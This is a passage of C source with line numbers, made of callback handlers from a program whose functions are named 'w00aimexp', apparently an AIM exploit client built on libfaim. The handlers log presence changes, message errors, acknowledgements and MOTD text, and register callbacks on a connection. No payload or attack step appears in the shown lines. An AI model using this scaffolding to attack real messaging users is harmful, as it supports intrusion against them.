  819.         ret = w00aimexp_parse_incoming_im_chan2(sess, fr->conn, userinfo, args);
  820.     }
  821.     else
  822.     {
  823.         dvprintf("Unsupported channel 0x%04x\n", channel);
  824.         assert(0);
  825.     }
  826.  
  827.     va_end(ap);
  828.     //dvprintf("Done with ICBM handling (parser returned %d)\n", ret);
  829.     return 1;
  830. }
  831.  
  832. static int w00aimexp_parse_oncoming(aim_session_t *sess, aim_frame_t *fr, ...)
  833. {
  834.     struct aim_userinfo_s *userinfo;
  835.  
  836.     va_list ap;
  837.     va_start(ap, fr);
  838.     userinfo = va_arg(ap, struct aim_userinfo_s *);
  839.     va_end(ap);
  840.  
  841.     dvprintf("%s is now online (flags: %04x = %s%s%s%s%s%s%s%s) (caps = 0x%04x)\n",
  842.             userinfo->sn, userinfo->flags,
  843.             (userinfo->flags&AIM_FLAG_UNCONFIRMED) ? " UNCONFIRMED" : "",
  844.             (userinfo->flags&AIM_FLAG_ADMINISTRATOR) ? " ADMINISTRATOR" : "",
  845.             (userinfo->flags&AIM_FLAG_AOL) ? " AOL" : "",
  846.             (userinfo->flags&AIM_FLAG_OSCAR_PAY) ? " OSCAR_PAY" : "",
  847.             (userinfo->flags&AIM_FLAG_FREE) ? " FREE" : "",
  848.             (userinfo->flags&AIM_FLAG_AWAY) ? " AWAY" : "",
  849.             (userinfo->flags&AIM_FLAG_UNKNOWN40) ? " UNKNOWN40" : "",
  850.             (userinfo->flags&AIM_FLAG_UNKNOWN80) ? " UNKNOWN80" : "",
  851.             userinfo->capabilities);
  852.     return 1;
  853. }
  854.  
  855. static int w00aimexp_parse_offgoing(aim_session_t *sess, aim_frame_t *fr, ...)
  856. {
  857.     struct aim_userinfo_s *userinfo;
  858.     va_list ap;
  859.     
  860.     va_start(ap, fr);
  861.     userinfo = va_arg(ap, struct aim_userinfo_s *);
  862.     va_end(ap);
  863.  
  864.     dvprintf("%s is now offline (flags: %04x = %s%s%s%s%s%s%s%s) (caps = 0x%04x)\n",
  865.              userinfo->sn, userinfo->flags,
  866.              (userinfo->flags&AIM_FLAG_UNCONFIRMED) ? " UNCONFIRMED":"",
  867.              (userinfo->flags&AIM_FLAG_ADMINISTRATOR) ? " ADMINISTRATOR":"",
  868.              (userinfo->flags&AIM_FLAG_AOL) ? " AOL" : "",
  869.              (userinfo->flags&AIM_FLAG_OSCAR_PAY) ? " OSCAR_PAY" : "",
  870.              (userinfo->flags&AIM_FLAG_FREE) ? " FREE" : "",
  871.              (userinfo->flags&AIM_FLAG_AWAY) ? " AWAY" : "",
  872.              (userinfo->flags&AIM_FLAG_UNKNOWN40) ? " UNKNOWN40" : "",
  873.              (userinfo->flags&AIM_FLAG_UNKNOWN80) ? " UNKNOWN80" : "",
  874.              userinfo->capabilities);
  875.  
  876.     return 1;
  877. }
  878.  
  879. static int w00aimexp_parse_error(aim_session_t *sess, aim_frame_t *fr, ...)
  880. {
  881.     va_list ap;
  882.     fu16_t reason;
  883.  
  884.     va_start(ap, fr);
  885.     reason = (fu16_t)va_arg(ap, unsigned int);
  886.     va_end(ap);
  887.  
  888. #if 0
  889.     dvprintf("SNAC threw error (%s)\n",
  890.             (reason < error_msgs_len) ? error_msgs[reason] : "unknown");
  891. #endif
  892.     return 1;
  893. }
  894.  
  895. static int w00aimexp_parse_msgerr(aim_session_t *sess, aim_frame_t *fr, ...)
  896. {
  897.     va_list ap;
  898.     char *destsn;
  899.     fu16_t reason;
  900.  
  901.     va_start(ap, fr);
  902.     reason = (fu16_t)va_arg(ap, unsigned int);
  903.     destsn = va_arg(ap, char *);
  904.     va_end(ap);
  905.  
  906.     fprintf(stderr, "Error: message to %s bounced (%s)\n", destsn,
  907.             (reason < error_msgs_len) ? error_msgs[reason] : "unknown");
  908.     exit(ERROR);
  909. }
  910.  
  911. static int w00aimexp_parse_misses(aim_session_t *sess, aim_frame_t *fr, ...)
  912. {
  913.     static char *missedreasons[] =
  914.     {
  915.         "Invalid (0)",
  916.         "Message too large",
  917.         "Rate exceeded",
  918.         "Evil Sender",
  919.         "Evil Receiver"
  920.     };
  921.     static int missedreasonslen = 5;
  922.  
  923.     va_list ap;
  924.     fu16_t chan, nummissed, reason;
  925.     struct aim_userinfo_s *userinfo;
  926.  
  927.     va_start(ap, fr);
  928.     chan = (fu16_t)va_arg(ap, unsigned int);
  929.     userinfo = va_arg(ap, struct aim_userinfo_s *);
  930.     nummissed = (fu16_t)va_arg(ap, unsigned int);
  931.     reason = (fu16_t)va_arg(ap, unsigned int);
  932.     va_end(ap);
  933.  
  934.     dvprintf("Error: missed %d messages from %s on channel %d (%s)\n", 
  935.             nummissed, userinfo->sn, chan, (reason < missedreasonslen) ? missedreasons[reason] : "unknown");
  936.     assert(0);
  937.     return 1;
  938. }
  939.  
  940. /*
  941.  * Received in response to an IM sent with the AIM_IMFLAGS_ACK option.
  942.  */
  943. static int w00aimexp_parse_msgack(aim_session_t *sess, aim_frame_t *fr, ...)
  944. {
  945.     va_list ap;
  946.     fu16_t type;
  947.     char *sn = NULL;
  948.  
  949.     va_start(ap, fr);
  950.     type = (fu16_t)va_arg(ap, unsigned int);
  951.     sn = va_arg(ap, char *);
  952.     va_end(ap);
  953.  
  954.     dvprintf("Message (type = 0x%04x) to %s acknowledged\n", type, sn);
  955.     return 1;
  956. }
  957.  
  958. static int w00aimexp_parse_motd(aim_session_t *sess, aim_frame_t *fr, ...)
  959. {
  960.     static char *error_codes[] = {
  961.         "Unknown",
  962.         "Mandatory upgrade",
  963.         "Advisory upgrade",
  964.         "System bulletin",
  965.         "Top o' the world!"
  966.     };
  967.     static int error_codes_len = 5;
  968.     char *msg;
  969.     fu16_t id;
  970.     va_list ap;
  971.  
  972.     va_start(ap, fr);
  973.     id = va_arg(ap, int);
  974.     msg = va_arg(ap, char *);
  975.     va_end(ap);
  976.  
  977.     if (msg)
  978.     {
  979.         dvprintf("MOTD: message = \"%s\" (%s)\n", msg, (id < error_codes_len) ? error_codes[id] : "unknown");
  980.     }
  981.     
  982.     return 1;
  983. }
  984.  
  985. void addcb_bos(aim_session_t *sess, aim_conn_t *bosconn)
  986. {
  987.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_SPECIAL, AIM_CB_SPECIAL_CONNCOMPLETE, w00aimexp_conncomplete, 0);
  988.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_SPECIAL, AIM_CB_SPECIAL_CONNERR, w00aimexp_parse_connerr, 0);
  989.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_GEN, AIM_CB_GEN_RATEINFO, w00aimexp_rateresp_bos, 0);
  990.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_GEN, AIM_CB_GEN_SERVERREADY, w00aimexp_serverready, 0);
  991.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_GEN, AIM_CB_GEN_MOTD, w00aimexp_parse_motd, 0);
  992.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_GEN, 0x0018, w00aimexp_hostversions, 0);
  993.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_BOS, AIM_CB_BOS_RIGHTS, w00aimexp_bosrights, 0);
  994.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_BOS, AIM_CB_BOS_ERROR, w00aimexp_parse_error, 0);
  995.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_BUD, AIM_CB_BUD_RIGHTSINFO, w00aimexp_parse_buddyrights, 0);
  996.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_BUD, AIM_CB_BUD_ONCOMING, w00aimexp_parse_oncoming, 0);
  997.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_BUD, AIM_CB_BUD_OFFGOING, w00aimexp_parse_offgoing, 0);
  998.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_BUD, AIM_CB_BUD_ERROR, w00aimexp_parse_error, 0);
  999.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_MSG, AIM_CB_MSG_INCOMING, w00aimexp_parse_incoming_im, 0);
  1000.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_MSG, AIM_CB_MSG_MISSEDCALL, w00aimexp_parse_misses, 0);
  1001.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_MSG, AIM_CB_MSG_ERROR, w00aimexp_parse_msgerr, 0);
  1002.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_MSG, AIM_CB_MSG_ACK, w00aimexp_parse_msgack, 0);
  1003.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_MSG, AIM_CB_MSG_PARAMINFO, w00aimexp_icbmparaminfo, 0);
  1004.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_MSG, AIM_CB_MSG_CLIENTERROR, w00aimexp_parse_clienterr, 0);
  1005.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_GEN, AIM_CB_GEN_ERROR, w00aimexp_parse_error, 0);
  1006.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_LOC, AIM_CB_LOC_RIGHTSINFO, w00aimexp_locrights, 0);
  1007.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_STS, AIM_CB_STS_SETREPORTINTERVAL, w00aimexp_reportinterval, 0);
  1008.     
  1009.     return;
  1010. }
  1011.  
  1012.